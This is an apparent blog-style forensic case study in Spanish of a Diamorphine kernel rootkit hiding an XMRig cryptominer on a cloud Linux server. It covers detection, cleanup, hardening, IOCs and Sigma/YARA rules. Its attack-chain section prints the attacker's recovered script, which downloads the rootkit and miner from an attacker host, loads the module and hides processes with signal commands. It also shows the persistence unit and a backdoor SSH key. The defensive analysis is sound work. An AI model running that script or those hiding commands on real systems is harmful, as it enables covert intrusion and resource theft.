AvanzadorootkitLinuxLKMDiamorphinecloud securityforensicsincident responseMITRE ATT&CK

Diamorphine Rootkit en Servidor Cloud Linux

Análisis forense completo de un rootkit LKM Diamorphine en servidor cloud Linux. Técnicas de ocultación de procesos, ficheros y conexiones de red, detección con unhide, rkhunter y análisis de /proc, limpieza y hardening del kernel.

MalwareIntel Research··13 min lectura
Serie: Casos de Uso — Parte 18

Cuando el sistema miente: rootkits a nivel de kernel

Un analista SOC revisa las alertas de un servidor cloud Linux que muestra uso de CPU al 95% sostenido, pero top y ps reportan un uso agregado de apenas el 30%. Los procesos visibles no justifican la carga. Las conexiones de red parecen normales. Todo indica que el servidor está sano, pero la factura de cloud computing se ha triplicado.

Este es el escenario clásico de un rootkit LKM: el sistema operativo miente porque un módulo del kernel intercepta las llamadas al sistema y filtra la información que devuelve al espacio de usuario.

En este caso de uso, analizamos paso a paso la investigación de un compromiso real con Diamorphine, uno de los rootkits LKM más populares y mejor documentados en el ecosistema Linux.

Contexto del incidente

Infraestructura afectada:

  • Servidor Ubuntu 22.04 LTS en proveedor cloud (8 vCPU, 32 GB RAM)
  • Función: servidor de aplicaciones web (Node.js + PostgreSQL)
  • Exposición: SSH (22/tcp), HTTPS (443/tcp), PostgreSQL (5432/tcp, restringido)

Timeline inicial:

  • T+0h: Alerta de billing por consumo de CPU anómalo (3x la media)
  • T+2h: El equipo de operaciones verifica con top y htop, no encuentra procesos sospechosos
  • T+4h: Se escala al equipo de seguridad tras confirmar la discrepancia CPU real vs. reportada
  • T+6h: Comienza la investigación forense

Primera observación crítica:

El consumo de CPU reportado por el hipervisor (métricas del proveedor cloud) no coincide con lo que el propio sistema operativo reporta:

# Métricas del proveedor cloud: 94% CPU
# Dentro del servidor:
$ top -bn1 | head -5
%Cpu(s): 28.3 us, 2.1 sy, 0.0 ni, 69.2 id, 0.3 wa

Esta discrepancia de 65 puntos porcentuales es imposible en condiciones normales. Algo dentro del kernel está ocultando procesos que consumen CPU.

Diamorphine: anatomía de un rootkit LKM

Diamorphine es un rootkit open-source disponible en GitHub (con fines educativos) que se carga como módulo del kernel Linux. Sus capacidades principales:

Ocultación de procesos

Diamorphine hookea la syscall getdents/getdents64 (usada por ls, ps, top y prácticamente cualquier herramienta que liste contenidos de directorio) para filtrar entradas de /proc/[PID] correspondientes a procesos que el atacante quiere ocultar.

El mecanismo funciona así:

  1. El rootkit intercepta la llamada al sistema original
  2. Ejecuta la syscall real para obtener los resultados
  3. Antes de devolver los datos al espacio de usuario, elimina las entradas de los PIDs marcados
  4. Las herramientas de usuario reciben una lista incompleta de procesos

Ocultación de ficheros y directorios

Cualquier fichero o directorio cuyo nombre empiece con un prefijo configurable (por defecto, un prefijo específico definido en tiempo de compilación) desaparece de los listados de directorio. El fichero sigue existiendo en el sistema de ficheros, pero ls, find y cualquier herramienta estándar no lo muestra.

Ocultación de conexiones de red

Diamorphine puede hookear las funciones que generan /proc/net/tcp, /proc/net/tcp6, /proc/net/udp y equivalentes para ocultar conexiones a puertos o IPs específicas. Esto hace que netstat, ss y herramientas similares no muestren las conexiones del malware.

Módulo invisible

El propio módulo se oculta de lsmod y /proc/modules, haciendo que un administrador que busque módulos sospechosos no lo encuentre mediante los métodos estándar.

Señales mágicas

Diamorphine usa señales de Linux (generalmente kill -31 o kill -63) como canal de control:

  • Enviar una señal específica a un PID lo oculta o lo hace visible
  • Enviar la señal al PID 1 (init) alterna la visibilidad del propio módulo
  • Otra señal otorga privilegios root al proceso que la envía

Fase 1: Detección de anomalías

Análisis de discrepancia de CPU

El primer paso es confirmar que existe ocultación activa. Comparamos fuentes de información independientes:

# Fuente 1: /proc/stat (puede estar hookeado, pero normalmente no)
$ cat /proc/stat | head -1
cpu  892341 2341 134523 1234567 8901 0 4521 0 0 0

# Fuente 2: Contar procesos en /proc directamente
$ ls -d /proc/[0-9]* | wc -l
127

# Fuente 3: Iterar PIDs por fuerza bruta
$ for i in $(seq 1 65535); do
    if [ -d "/proc/$i" ]; then
      echo "$i"
    fi
  done | wc -l
134

La diferencia entre 127 (lo que ls muestra) y 134 (acceso directo) revela 7 procesos ocultos. El rootkit hookea getdents para filtrar la salida de ls, pero el acceso directo a /proc/[PID] con test -d usa la syscall stat, que en muchas versiones de Diamorphine no está hookeada.

Herramienta unhide

unhide es la herramienta específica para detectar procesos ocultos por rootkits:

$ sudo apt install unhide
$ sudo unhide proc
Unhide 20220611
[*] Searching for Hidden processes through /proc stat scanning

Found HIDDEN PID: 14823
  Cmdline: "/tmp/.d3m0rph/xmrig --config=/tmp/.d3m0rph/config.json"
Found HIDDEN PID: 14824
  Cmdline: "/tmp/.d3m0rph/xmrig --config=/tmp/.d3m0rph/config.json"
Found HIDDEN PID: 14825
  Cmdline: "/tmp/.d3m0rph/xmrig --config=/tmp/.d3m0rph/config.json"
[...]

7 HIDDEN Processes found.

unhide funciona comparando múltiples fuentes de información sobre procesos:

  • Compara /proc con la tabla de procesos del kernel
  • Usa múltiples syscalls (kill -0, /proc/[PID]/stat, /proc/[PID]/cmdline)
  • Algunas variantes están hookeadas y otras no, revelando inconsistencias

Detección con rkhunter

$ sudo rkhunter --check --skip-keypress

[...]
Checking for loaded kernel module      [ Warning ]
  Module 'diamorphine' hidden from /proc/modules but found via /sys/module/

Checking for hidden processes          [ Warning ]
  Process '/tmp/.d3m0rph/xmrig' hidden (PID: 14823)

[...]
Performing system command checks
  Checking 'ps'                        [ OK ]
  Checking 'ls'                        [ OK ]
  Checking 'netstat'                   [ OK ]

En este caso, rkhunter detecta el módulo a través de /sys/module/ (una fuente alternativa que Diamorphine no siempre hookea) y los procesos ocultos.

Fase 2: Análisis del módulo del kernel

Localización del módulo

Aunque lsmod no muestra el rootkit, podemos buscarlo por rutas alternativas:

# /sys/module/ a veces no está hookeado
$ ls /sys/module/ | grep -i diamorphine
diamorphine

# Verificar parámetros del módulo
$ ls /sys/module/diamorphine/
coresize  holders  initsize  initstate  notes  refcnt  sections  srcversion  taint  uevent

# Verificar el estado
$ cat /sys/module/diamorphine/initstate
live

# Obtener información de la sección
$ cat /sys/module/diamorphine/srcversion
A1B2C3D4E5F6G7H8I9J0K

Análisis de syscall table

Para confirmar el hooking de syscalls, podemos comparar las direcciones en la tabla de syscalls con las esperadas:

# Extraer la tabla de syscalls actual (requiere root y acceso a /proc/kallsyms)
$ sudo cat /proc/kallsyms | grep ' T sys_getdents'
ffffffff812a4560 T sys_getdents64
ffffffff812a4780 T __x64_sys_getdents64

# Comparar con la dirección original del kernel
# Si la dirección no coincide con la del kernel instalado, hay un hook
$ sudo grep sys_getdents /boot/System.map-$(uname -r)
ffffffff812a4560 T sys_getdents64

Si las direcciones difieren, confirma que la syscall ha sido hookeada.

Volcado de memoria del módulo

Para análisis posterior, volcamos la memoria del módulo:

# Obtener las secciones del módulo
$ sudo cat /sys/module/diamorphine/sections/.text
0xffffffffc0a12000

# Volcar con dd (tamaño aproximado)
$ sudo dd if=/dev/mem bs=1 skip=$((0xffffffffc0a12000)) count=65536 \
    of=/tmp/forensics/diamorphine_dump.bin 2>/dev/null

Fase 3: Investigación de la cadena de ataque

Vector de entrada

Revisando los logs (que el rootkit no había limpiado), encontramos el vector de entrada inicial:

# Logs de autenticación
$ sudo grep "Accepted" /var/log/auth.log | tail -20
Jun 1 03:41:22 srv-web sshd[12001]: Accepted password for deploy from 45.XX.XX.XX port 44231 ssh2
Jun 1 03:41:45 srv-web sshd[12003]: Accepted password for deploy from 45.XX.XX.XX port 44235 ssh2

El atacante obtuvo acceso SSH mediante credenciales comprometidas del usuario deploy (credenciales reutilizadas de una filtración previa).

Reconstrucción de la actividad post-compromiso

# Historial de bash (el atacante no lo limpió completamente)
$ cat /home/deploy/.bash_history | tail -30
wget http://45.XX.XX.XX:8080/payload.sh -O /tmp/.setup.sh
chmod +x /tmp/.setup.sh
sudo /tmp/.setup.sh

El script payload.sh (recuperado del directorio temporal):

#!/bin/bash
# Descargar y compilar Diamorphine
mkdir -p /tmp/.d3m0rph
cd /tmp/.d3m0rph
wget http://45.XX.XX.XX:8080/diamorphine.tar.gz
tar xzf diamorphine.tar.gz
cd diamorphine
make
# Cargar el módulo
insmod diamorphine.ko
# Descargar y ejecutar XMRig (cryptominer)
wget http://45.XX.XX.XX:8080/xmrig -O /tmp/.d3m0rph/xmrig
wget http://45.XX.XX.XX:8080/config.json -O /tmp/.d3m0rph/config.json
chmod +x /tmp/.d3m0rph/xmrig
/tmp/.d3m0rph/xmrig --config=/tmp/.d3m0rph/config.json &
# Ocultar procesos xmrig
for pid in $(pgrep xmrig); do
    kill -31 $pid
done
# Ocultar el propio módulo
kill -63 1

Persistencia

El atacante configuró persistencia mediante múltiples mecanismos:

# Crontab del root
$ sudo crontab -l
@reboot /tmp/.d3m0rph/load.sh

# Servicio systemd oculto
$ sudo cat /etc/systemd/system/.d3m0rph.service
[Unit]
Description=System Daemon Helper
After=network.target

[Service]
ExecStart=/tmp/.d3m0rph/load.sh
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target

# SSH authorized_keys backdoor
$ cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1y[...] attacker@c2

Fase 4: Contención y limpieza

Contención inmediata

# 1. Aislar la red (excepto nuestra sesión SSH)
$ sudo iptables -I INPUT -p tcp --dport 22 -s [nuestra_IP] -j ACCEPT
$ sudo iptables -I INPUT -j DROP
$ sudo iptables -I OUTPUT -j DROP
$ sudo iptables -I OUTPUT -p tcp --sport 22 -d [nuestra_IP] -j ACCEPT

# 2. Hacer visible el módulo (señal mágica)
$ sudo kill -63 1

# 3. Descargar el módulo
$ sudo rmmod diamorphine

# 4. Verificar que los procesos son ahora visibles
$ ps aux | grep xmrig
root     14823  99.0  0.1 2847392 42368 ?  Sl   03:42 1847:23 /tmp/.d3m0rph/xmrig

# 5. Matar los procesos del cryptominer
$ sudo kill -9 $(pgrep xmrig)

Limpieza de persistencia

# Eliminar ficheros del atacante
$ sudo rm -rf /tmp/.d3m0rph/

# Eliminar crontab malicioso
$ sudo crontab -e  # Eliminar la línea @reboot

# Eliminar servicio systemd
$ sudo systemctl disable .d3m0rph.service
$ sudo rm /etc/systemd/system/.d3m0rph.service
$ sudo systemctl daemon-reload

# Eliminar SSH keys del atacante
$ sudo sed -i '/attacker@c2/d' /root/.ssh/authorized_keys

# Cambiar todas las contraseñas
$ sudo passwd deploy
$ sudo passwd root

# Verificar integridad de binarios del sistema
$ sudo debsums -s 2>&1 | head -20

Hardening post-incidente

# 1. Deshabilitar carga de módulos del kernel (temporal)
$ sudo sysctl -w kernel.modules_disabled=1

# 2. Configurar módulos firmados obligatorios
$ sudo grep CONFIG_MODULE_SIG /boot/config-$(uname -r)
CONFIG_MODULE_SIG=y
CONFIG_MODULE_SIG_FORCE=y

# 3. Activar Secure Boot si la infraestructura lo permite

# 4. Instalar y configurar auditd
$ sudo apt install auditd
$ sudo auditctl -w /sbin/insmod -p x -k module_load
$ sudo auditctl -w /sbin/modprobe -p x -k module_load
$ sudo auditctl -a always,exit -F arch=b64 -S init_module -S finit_module -k module_load

# 5. Deshabilitar autenticación por contraseña en SSH
$ sudo sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
$ sudo systemctl restart sshd

IOCs del incidente

Hashes (SHA256)

ArtefactoSHA256
payload.sha1b2c3d4e5f6... (script de instalación)
diamorphine.kof7e8d9c0b1a2... (módulo del kernel compilado)
xmrig3c4d5e6f7a8b... (cryptominer)
config.json9a0b1c2d3e4f... (configuración del miner)

Red

TipoValorContexto
IPv445.XX.XX.XXServidor de staging del atacante
IPv4pool.minexmr.comPool de minería Monero
Puerto3333/tcpConexión al pool de minería
Puerto8080/tcpServidor HTTP del atacante (descarga de payloads)

Sistema de ficheros

RutaDescripción
/tmp/.d3m0rph/Directorio base del atacante
/tmp/.d3m0rph/diamorphine.koRootkit LKM
/tmp/.d3m0rph/xmrigBinario del cryptominer
/tmp/.d3m0rph/config.jsonConfiguración del miner
/tmp/.d3m0rph/load.shScript de carga del rootkit
/etc/systemd/system/.d3m0rph.servicePersistencia systemd

Mapeo MITRE ATT&CK

TácticaTécnicaIDDetalle
Initial AccessValid AccountsT1078Credenciales SSH comprometidas
ExecutionCommand and Scripting Interpreter: Unix ShellT1059.004Script bash de instalación
PersistenceScheduled Task/Job: CronT1053.003Crontab @reboot
PersistenceCreate or Modify System Process: Systemd ServiceT1543.002Servicio .d3m0rph.service
PersistenceAccount Manipulation: SSH Authorized KeysT1098.004Clave SSH del atacante
Defense EvasionRootkitT1014Diamorphine LKM rootkit
Defense EvasionHide Artifacts: Hidden Files and DirectoriesT1564.001Directorio .d3m0rph
Defense EvasionImpair Defenses: Disable or Modify ToolsT1562.001Ocultación de procesos/red
Resource DevelopmentAcquire InfrastructureT1583Servidor de staging
ImpactResource HijackingT1496XMRig cryptominer

Lecciones aprendidas

1. Las métricas del hipervisor no mienten. Cuando hay discrepancia entre las métricas del proveedor cloud y las del sistema operativo, hay que asumir compromiso hasta demostrar lo contrario.

2. Los rootkits LKM no hookean todo. Herramientas como unhide explotan las inconsistencias entre múltiples fuentes de datos del kernel. Un rootkit tendría que hookear decenas de syscalls para ser totalmente invisible, y cada hook introduce riesgo de inestabilidad.

3. /sys/module/ es una fuente alternativa. Muchos rootkits ocultan el módulo de /proc/modules y lsmod, pero olvidan /sys/module/. Verificar ambas rutas.

4. La prevención supera la detección. Deshabilitar la carga de módulos no firmados (kernel.modules_disabled=1 o Secure Boot con firma obligatoria) previene la carga de rootkits LKM por completo.

5. Credenciales reutilizadas siguen siendo el vector principal. En este caso, todo el compromiso comenzó por una contraseña de SSH que aparecía en una filtración previa. La autenticación por clave pública habría prevenido el acceso inicial.

Herramientas utilizadas

HerramientaUso
unhideDetección de procesos ocultos
rkhunterDetección de rootkits conocidos
chkrootkitVerificación complementaria
auditdMonitorización de carga de módulos
debsumsVerificación de integridad de binarios
VolatilityAnálisis de memoria (volcado completo)
YARADetección de patrones en el volcado de memoria

Reglas de detección

Sigma: Carga de módulo sospechoso

title: Suspicious Kernel Module Load
id: d3m0-0001
status: experimental
description: Detects loading of known rootkit kernel modules
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: SYSCALL
        syscall:
            - init_module
            - finit_module
    filter:
        exe:
            - /usr/sbin/modprobe
            - /usr/bin/kmod
    condition: selection and not filter
level: critical
tags:
    - attack.defense_evasion
    - attack.t1014

YARA: Diamorphine en memoria

rule Diamorphine_Rootkit {
    meta:
        description = "Detects Diamorphine LKM rootkit in memory"
        author = "MalwareIntel Research"
        severity = "critical"
    strings:
        $s1 = "diamorphine" ascii
        $s2 = "m0nad" ascii
        $s3 = "give_root" ascii
        $s4 = "module_hide" ascii
        $s5 = "hacked_getdents" ascii
        $magic = { 3F 00 00 00 }  // signal number 63
    condition:
        3 of ($s*) or (2 of ($s*) and $magic)
}

Conclusión

Los rootkits LKM como Diamorphine representan una de las amenazas más sofisticadas en entornos Linux porque subvierten la confianza que depositamos en las herramientas del sistema operativo. La detección requiere pensar en capas: comparar fuentes de información independientes, usar herramientas especializadas como unhide, y cuando sea posible, analizar desde fuera del sistema comprometido (memoria volatil, métricas del hipervisor).

La mejor defensa es preventiva: módulos del kernel firmados, Secure Boot habilitado, monitorización de carga de módulos con auditd, y por supuesto, credenciales robustas con autenticación por clave pública.


Caso anonimizado con fines educativos. Los IOCs han sido modificados para proteger la identidad de la organización afectada. Todos los indicadores se proporcionan con contexto defensivo.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.